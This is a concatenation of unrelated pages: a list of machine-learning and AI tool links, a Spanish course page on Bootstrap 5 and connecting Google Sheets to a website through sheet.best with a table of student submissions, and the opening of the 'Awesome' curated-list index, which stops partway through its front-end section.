https://www.tensorflow.org/neural_structured_learning https://github.com/deepmind/graph_nets https://deepmind.com/research/open-source/graph-nets-library https://www.kdnuggets.com/2019/09/5-graph-algorithms-data-scientists-know.html https://towardsdatascience.com/visualizing-networks-in-python-d70f4cbeb259 Pyviz https://towardsdatascience.com/interactive-network-visualization-757af376621 AutoGL: The First Ever AutoML Framework for Graph Datasets https://analyticsindiamag.com/meet-autogl-the-first-ever-automl-framework-for-graph-datasets/ https://analyticsindiamag.com/complete-guide-to-autogl-the-latest-automl-framework-for-graph-datasets/ http://mn.cs.tsinghua.edu.cn/AutoGL/ Graph Neural Networks, PySpark, Neural Cellular Automata, FB Prophet, Google Cloud and NLP codes https://github.com/RubensZimbres/Repo-2021 AmpliGraph: A Machine Learning Library For Knowledge Graphs https://analyticsindiamag.com/guide-to-ampligraph-a-machine-learning-library-for-knowledge-graphs/ open-source project for analysis of graphs or networks GrasPy / graspologic https://graspy.neurodata.io/ Pykg2vec: A Python Library for Knowledge Graph Embedding https://analyticsindiamag.com/pykg2vec/ https://www.kdnuggets.com/2019/05/60-useful-graph-visualization-libraries.html https://www.kdnuggets.com/2015/06/top-30-social-network-analysis-visualization-tools.html 84.Google Introduces Document AI (DocAI) https://www.marktechpost.com/2020/11/05/google-introduces-document-ai-docai-platform-for-automated-document-processing/ 85.100 Machine Learning Projects-https://amankharwal.medium.com/100-machine-learning-projects-aff22b22dd6e 86.https://towardsdatascience.com/25-hot-new-data-tools-and-what-they-dont-do-31bf23bd8e56 87.Opacus: A high-speed library for training PyTorch models-https://ai.facebook.com/blog/introducing-opacus-a-high-speed-library-for-training-pytorch-models-with-differential-privacy 88.lazynlp https://github.com/chiphuyen/lazynlp 90.Pseudo-Labeling (deal with small datasets)https://towardsdatascience.com/pseudo-labeling-to-deal-with-small-datasets-what-why-how-fd6f903213af 91.Project List A - Comparatively Easy Wine Quality Analysis,Boston Housing Prediction,Spam Email Classification,Survival Prediction - Titanic Disaster,Stock Market Prediction Class of Flower Prediction,Bigmart Sales Prediction,Air Pollution Prediction,IMDB Prediction,Optimizing Product Price,Web Traffic Time Series Forecasting,Insurance Purchase Prediction,Tweet Classification Project List B - Comparatively Difficult,Domain-Specific Chatbot,Fake News Detection,Human Action Recognition,Video Classification,Driver Drowsiness Detection,Medical Report Gen Using CT Scans,Sign Language Detection,Image Caption Generator,Celebrity Voice Prediction,Speech Emotion Recognition,Job Recommendation System,Interest Level in Rental Properties,Google Ads Keywords Generator https://www.analyticsvidhya.com/blog/2018/05/24-ultimate-data-science-projects-to-boost-your-knowledge-and-skills/ https://ml-showcase.paperspace.com/ https://github.com/ashishpatel26/500-AI-Machine-learning-Deep-learning-Computer-vision-NLP-Projects-with-code https://dev.to/hb/30-machine-learning-ai-data-science-project-ideas-gf5 https://www.theinsaneapp.com/2021/01/top-30-ai-and-ml-projects-for-2021.html https://medium.com/coders-camp/180-data-science-and-machine-learning-projects-with-python-6191bc7b9db9 https://www.analyticsvidhya.com/blog/2020/12/10-data-science-projects-for-beginners/?utm_source=linkedin&utm_medium=AV|link|high-performance-blog|blogs|44195|0.375 https://medium.com/the-innovation/130-machine-learning-projects-solved-and-explained-605d188fb392 https://medium.com/coders-camp/96-python-projects-with-source-code-4069eb58beef https://thecleverprogrammer.com/machine-learning/ https://www.kdnuggets.com/2020/03/20-machine-learning-datasets-project-ideas.html https://www.analyticsvidhya.com/blog/2018/05/24-ultimate-data-science-projects-to-boost-your-knowledge-and-skills/?utm_source=linkedin&utm_medium=KJ|link|blackbelt|blogs|44081|0.625 https://www.kdnuggets.com/2021/03/10-amazing-machine-learning-projects-2020.html?utm_content=bufferc38bd&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer https://data-flair.training/blogs/machine-learning-datasets/# https://data-flair.training/blogs/machine-learning-project-ideas/ https://data-flair.training/blogs/artificial-intelligence-ai-tutorial/ https://www.theinsaneapp.com/2020/11/data-science-projects-with-source-code.html https://data-flair.training/blogs/cartoonify-image-opencv-python/ https://data-flair.training/blogs/python-project-calorie-calculator-django/ https://www.theinsaneapp.com/2020/11/machine-learning-projects-with-source-codes.html https://www.theinsaneapp.com/2020/11/data-science-projects-with-source-code.html https://amankharwal.medium.com/20-machine-learning-projects-on-future-prediction-with-python-93932d9a7f7f https://medium.com/coders-camp/20-deep-learning-projects-with-python-3c56f7e6a721 https://amankharwal.medium.com/12-machine-learning-projects-on-object-detection-46b32adc3c37 https://amankharwal.medium.com/7-python-gui-projects-for-beginners-87ae2c695d78 https://github.com/Kushal997-das/Project-Guidance https://amankharwal.medium.com/20-machine-learning-projects-for-portfolio-81e3dbd167b1 https://amankharwal.medium.com/4-chatbot-projects-with-python-5b32fd84af37 https://amankharwal.medium.com/30-python-projects-solved-and-explained-563fd7473003 https://www.aiquotient.app/projects https://www.aiquotient.app/ https://www.mltut.com/best-machine-learning-projects-for-beginners/ https://medium.com/coders-camp/20-machine-learning-projects-on-nlp-582effe73b9c 93.The Linux Command Handbook-https://www.freecodecamp.org/news/the-linux-commands-handbook/ 94.130 Machine Learning Projects Solved and Explained-https://medium.com/the-innovation/130-machine-learning-projects-solved-and-explained-605d188fb392 95.DataBrew-do drag-and-drop data cleansing 96.stratascratch- https://www.stratascratch.com/ 97.5 ways to celebrate TensorFlow's 5th birthday-https://blog.google/technology/ai/5-ways-celebrate-tensorflows-5th-birthday/ 98.TensorFlow.js: Machine Learning in Javascript https://blog.tensorflow.org/2018/03/introducing-tensorflowjs-machine-learning-javascript.html 99.Language Interpretability Tool open-source platform for visualization and understanding of NLP models - https://pair-code.github.io/lit/ 100.Deep Learning Hardware Guide https://towardsdatascience.com/another-deep-learning-hardware-guide-73a4c35d3e86 101.johnsnowlabs- https://nlp.johnsnowlabs.com/ https://nlp.johnsnowlabs.com/docs/en/quickstart https://nlp.johnsnowlabs.com/docs/en/licensed_release_notes 104.Clarifai-https://www.clarifai.com/ https://analyticsindiamag.com/clarifai/ 105.rapidly build and deploy machine learning models https://analyticsindiamag.com/top-10-datarobot-alternatives-one-must-know/ 106.Hive Data full-stack AI https://thehive.ai/hive-data 107.real-time remote service to get the Keras callbacks to the telegram including the details of metrics https://github.com/ksdkamesh99/TensorGram 108.Language Interpretability Tool - https://pair-code.github.io/lit/demos/ 109.Docly will handle the comments http://thedocly.io/ 110.machine-learning-roadmap-2020 https://whimsical.com/machine-learning-roadmap-2020-CA7f3ykvXpnJ9Az32vYXva 112.freecodecamp - https://www.freecodecamp.org/learn 113.image_to_string (pytesseract) Extract Tables in PDFs to pandas DataFrames - tabula-py 114.NLP Pipelines in a single line of code https://medium.com/analytics-vidhya/nlp-pipelines-in-a-single-line-of-code-500b3266ac7b 116.aitextgen #for ai text generation 117.http://introtodeeplearning.com/ http://cs231n.stanford.edu/ http://web.stanford.edu/class/cs224n/index.html#schedule https://www.youtube.com/playlist?list=PLkFD6_40KJIwhWJpGazJ9VSj9CFMkb79A https://www.youtube.com/playlist?list=PLkFD6_40KJIwhWJpGazJ9VSj9CFMkb79A https://www.youtube.com/playlist?list=PLwRJQ4m4UJjPiJP3691u-qWwPGVKzSlNP https://www.youtube.com/playlist?list=PLoROMvodv4rMC6zfYmnD7UG3LVvwaITY5 117.https://data-flair.training/blogs/data-science-tutorials-home 119.Pystiche - Create Your Artistic Image Using Pystiche https://analyticsindiamag.com/pystiche/ https://pystiche.readthedocs.io/en/latest/index.html 120.Low Light Image Enhancement using Python & Deep Learning https://github.com/soumik12345/MIRNet/ https://www.youtube.com/watch?v=b5Uz_c0JLMs 121.Koalas on Apache Spark - Pandas API https://www.youtube.com/watch?v=kOtAMiMe1JY&t=482s https://koalas.readthedocs.io/en/latest/ 122.DALL·E https://openai.com/blog/dall-e/ https://analyticsindiamag.com/comprehensive-guide-to-dall-e-by-openai-creating-images-from-text/ https://github.com/lucidrains/big-sleep https://github.com/lucidrains/deep-daze https://www.youtube.com/watch?v=lVR5kN7SjQ8&feature=youtu.be DALL·E Mini,GPT-3,Dalle-2,Imagen,RE-IMAGEN,Parti,Midjourney,Craiyon,Make-A-Scene,Imagen,DALL-E,Imagen, NUWA-Infinity,Make a Scene,Cogview 2,VQGAN,VQGAN-Clip,Latent-Diffusion,Parti,MidJourney,Ultraleap’s Midjourney, Hugging Face’s Craiyon, Meta’s Make-A-Scene and Google’s Imagen,CogVideo,Big Sleep,Disco,Stable Diffusion,fast-stable-diffusion,DreamStudio,CodeFormer,DreamBooth,Tiktok’s Greenscreen,textual_inversion,GauGAN2,Stable-Craiyon,Disco Diffusion,DreamBooth,AI Greenscreen,Wonder,Nightcafe,Midjourney, craiyon,loab,Starry AI,Dream By,Wombo,Nightcafe,Pixray,Deep Dream,Stable Diffusion,DreamFusion,Make-A-Video,Imagen Video,Midjourney,CogVideo,ERNIE-ViLG 2.0,eDiffi,pixray,starryai,promptoMANIA,starry.ai,NightCafe,Artbreeder,wombo.ai,Muse,BlueWillow,StyleGAN-T,GigaGAN,DeepFloyd IF, Bing Image Creator,Craiyon,InstantArt,Pixray,Blue Willow,Playground AI,Picsart,Perfusion AI,XGen-Image https://pharmapsychotic.com/tools.html https://airtable.com/shrDxAxCCxAZVtMnt/tbl3FzgFjvvuYZMm9 https://www.marktechpost.com/2022/10/05/top-artificial-intelligence-ai-based-text-to-image-generators/ text to video,images,audio,3D: Adobe firefly,NVIDIA Picasso,Runway text to video : CogVideo,Make-A-Video,Phenaki,Imagen Video,DreamFusion,Phenak,CogVideo,GODIVA,NÜWA,Google UniTune (fine-tuned Imagen),Synthesia,Lumen5,Flixclip,Elai,Veed.io,Kaiber,Genmo,LeiaPix,Glia Cloud,Stable Diffusion Videos,Synthesia,InVideo,Lumen5,Designs.ai,Pictory,Wisecut,Veed.io,Fliki,Shap-e,dalle,pointe,AdaMPI,AudioGen 3D Models from Text : DreamFusion,CLIP-Mesh,Point-E,Magic3D,Text2Mesh,CLIP-Mesh,Neuralangelo Text-to-Audio : Audiogen,diffsound,GliaCloud,Synthesia,InVideo,Synths Video,VEED.IO,Lumen5,Pictory,Designs.ai,Wisecut,Replica,Speechify,Murf,Play.ht,Lovo.ai,VALL-E,VALL-E X,MusicLM, SingSong, Moûsai 2, AudioLDM, and EPIC-SOUND,Audio-LDM Text-to-Motion : MotionCLIP,Language2Pose Text-to-PowerPoint : ChatBCG Mubert Text to Music https://github.com/MubertAI/Mubert-Text-to-Music ,MusicLM,MusicGen Music generator AIVA,Amper AI,Jukebox,Soundraw,Evoke, AudioML,EnCodec Text generators Frase Io,Peppertype,Rytr,Jasper,Copy.ai,ChatGPT Beginner’s Guide to the CLIP Model https://www.kdnuggets.com/2021/03/beginners-guide-clip-model.html https://www.kdnuggets.com/2021/03/multilingual-clip--huggingface-pytorch-lightning.html StyleCLIP: Text Driven Image Manipulation https://analyticsindiamag.com/guide-to-styleclip-text-driven-image-manipulation/ https://sachinruk.github.io/blog/pytorch/pytorch%20lightning/loss%20function/gpu/2021/03/07/CLIP.html 123.SpeechBrain https://speechbrain.github.io/ 124.Real-Time High-Resolution Background Replacement https://analyticsindiamag.com/introducing-real-time-high-resolution-background-replacement/ https://github.com/PeterL1n/BackgroundMattingV2 125.greppo Build & deploy geospatial applications quick and easy. https://github.com/greppo-io/greppo 126.Online tools to create mind-blowing AI art https://analyticsindiamag.com/online-tools-to-create-mind-blowing-ai-art/ **** If you like my work. please buy me a coffee it motivate me -> https://www.buymeacoffee.com/achuthasubhash?new=1 **** HAPPY LEARNING

### Diseño y Nuevos Medios → Clase 12 → 02/06/2021 # Bootstrap v5 Repitamos el mantra de Bootstrap: una o varias `col` pueden ir dentro de una `row` que, a su vez, va dentro de un `container`… aunque algunas veces podríamos meter una `row` dentro de una `col` para subdividirla. Bootstrap ofrece muchas opciones para armar de manera muy rápida los "mínimos viables" de HTML, CSS y JavaScript. Cada vez que tengan una duda, consulten la documentación oficial, en la versión correspondiente (ahora v5.0.1): https://getbootstrap.com/docs/5.0/getting-started/introduction/ Y si necesitan algo más rápido, siempre podrán encontrar alguna *cheat sheet* en Google; en la búsqueda de *cheat sheet bootstrap 5*, algunos resultados destacados son: - https://bootstrap-cheatsheet.themeselection.com/ - https://getbootstrap.com/docs/5.0/examples/cheatsheet/ - https://gist.github.com/JacobLett/13820300ab0534832a0f520df8c7c34d En la medida que vayan incorporando la lógica y sus clases, más rápido puede resultar su uso (y podrán llegar a prescindir, incluso, de los *cheat sheets*). - - - - - - - - - Para seguir incorporando las lógicas de Bootstrap, sin dejar de potenciar lo aprendido anteriormente, hoy nos aprovecharemos de: - [Lorem Picsum](https://picsum.photos/) - [sheet.best · Turn your google sheets into a REST API](https://sheet.best/) - [How to Use the JavaScript Fetch API to Get JSON Data](https://www.taniarascia.com/how-to-use-the-javascript-fetch-api-to-get-json-data/) **En lugar de usar un CSV como en las [clases anteriores](https://github.com/profesorfaco/dno037-2021/edit/main/clase-11/), hoy vamos a utilizar un documento que podríamos seguir editando en [Google Drive](https://drive.google.com/drive/u/1/my-drive).** Para utilizar un documento en Drive, vamos a seguir 6 pasos: **Paso 1**: En el Google Drive de su [email protected], tienen que crear una hoja de cálculo. Por favor rellénenla rápido, por ahora, con algo parecido a [este ejemplo](https://docs.google.com/spreadsheets/d/1AyafM2pAMhKWpv-QLPdZ3CHm6hNWSOWXQf6LkN_lexs/edit?usp=sharing). **Paso 2**: Cuando esté lista, tienen que presionar el botón verde de Compartir (arriba a la derecha). En el modal, en "Obtener enlace", tienen que cambiar la opción a "Cualquier persona con el enlace (Cualquier usuario con Internet con este enlace puede ver esto) **Paso 3**: Copien el enlace **Paso 4**: Con el enlace copiado, vayan a https://sheet.best/ y accedan con su cuenta Gmail de [email protected] **Paso 5**: Ahora tienen que sumar nueva conexión (+ CONNECTION). En *Identification* pongan un nombre sencillo. En *Connection* mantengan el origen en Google Spreadsheets. Y en *Connection URL* peguen el enlace que ya habían copiado (en paso 3) **Paso 6**: Presionar *CONNECT* y copiar la *CONNECTION URL* para poder usarla en su propio sitio web. Ahora ya contamos con lo necesario para armar lo que corresponde a la clase de hoy. Para seguir avanzando, conviene pasar al archivo `index.html` contenido en [esta carpeta de repositorio](https://profesorfaco.github.io/dno037-2021/clase-12/index.html). - - - - - - - #### Ejercicio El ejercicio se completa cuando cada estudiante publica, [con GitHub Pages](https://docs.github.com/es/free-pro-team@latest/github/working-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site), su versión ajustada del sitio web contenido en [esta carpeta de repositorio](https://profesorfaco.github.io/dno037-2021/clase-12/). El ejercicio completo puede ser evaluado con: - **0 punto** → no logrado. - **1 punto** → logrado. - **2 puntos** → logrado, con aporte descatado. El ejercicio incompleto es evaluado con 0 punto. #### Entregas | Nº | Estudiante | GitHub | Clase 12 | |:----:|:----------------|:----------|:-------------------| | 1 | MARTÍN BENNETT | https://github.com/bennett-martin/ |https://bennett-martin.github.io/dno-clase12-02-06/ | | 2 | RODRIGO CAMPUSANO | https://github.com/rodrigocampusano | — | | 3 | PALOMA CARRASCO | https://github.com/palomacarrasco | https://palomacarrasco.github.io/dno037-clase-12/ | | 4 | VICENTE ESPINOSA | https://github.com/vtespinosa | — | | 5 | FELIPE FUENTEALBA | https://github.com/leocto | https://leocto.github.io/Nuevos_Medios_12/ | | 6 | VERÓNICA GATICA | https://github.com/verogatica | https://verogatica.github.io/12clase_dno037/ | | 7 | MIRKO GONZÁLEZ | https://github.com/mirkogonzalez | https://mirkogonzalez.github.io/clase_12/ | | 8 | RODRIGO GUZMÁN | https://github.com/rodrigo-bot | https://rodrigo-bot.github.io/dno037-clase12/ | | 9 | VALENTINA HERRERA | https://github.com/vale-herrera | https://vale-herrera.github.io/dno037-clase-12/ | | 10 | BETINA HIP | https://github.com/bbhip | https://bbhip.github.io/dno-nuevos-medios-12/ | | 11 | MARÍA HONORATO | https://github.com/elisahonorato | https://elisahonorato.github.io/elisahonoratolira/ | | 12 | MARÍA IBÁÑEZ | https://github.com/franibanezm | https://franibanezm.github.io/clase_12/ | | 13 | MARGARITA MATTE | https://github.com/mar-garita1 | https://mar-garita1.github.io/clase-12/ | | 14 | CONSTANZA MONTERO | https://github.com/cpmontero | https://cpmontero.github.io/dno_nuevosmedios_clase12/ | | 15 | VALENTINA MORALES | https://github.com/lunalaffx | https://lunalaffx.github.io/DNO037-clase12/ | | 16 | DANIELA ORELLANA | https://github.com/dacorellana | https://dacorellana.github.io/dno-medios-clase-12/ | | 17 | FRANCISCA PARRA | https://github.com/frnparr | — | | 18 | YAHAIRA PEREZ | https://github.com/yahairaperez | https://yahairaperez.github.io/clase00012/ | | 19 | JAVIER RAMÍREZ | https://github.com/rama2432 | https://rama2432.github.io/DNO-clase12/ | | 20 | MARIO REINIKE | https://github.com/marioreinike | https://marioreinike.github.io/dno037/clase-12/ | | 21 | VALENTINA REY | https://github.com/valentinarey | https://valentinarey.github.io/clase_12/ | | 22 | JAVIERA ROBLES | — | — | | 23 | MIRANDA SEPULVEDA | https://github.com/mirandasepulveda-la | https://mirandasepulveda-la.github.io/actividad_clase_12/ | | 24 | JOSEFINA TORO | https://github.com/josefinatoro | — | | 25 | MARGARITA VIAL | https://github.com/margaraitavialm | https://margaraitavialm.github.io/dno_clase12/ | - - - - - - - ###### [← CLASE ANTERIOR](https://github.com/profesorfaco/dno037-2021/tree/main/clase-11) — [SIGUIENTE CLASE →](https://github.com/profesorfaco/dno037-2021/tree/main/clase-13)

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> <br> <br> </p> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - 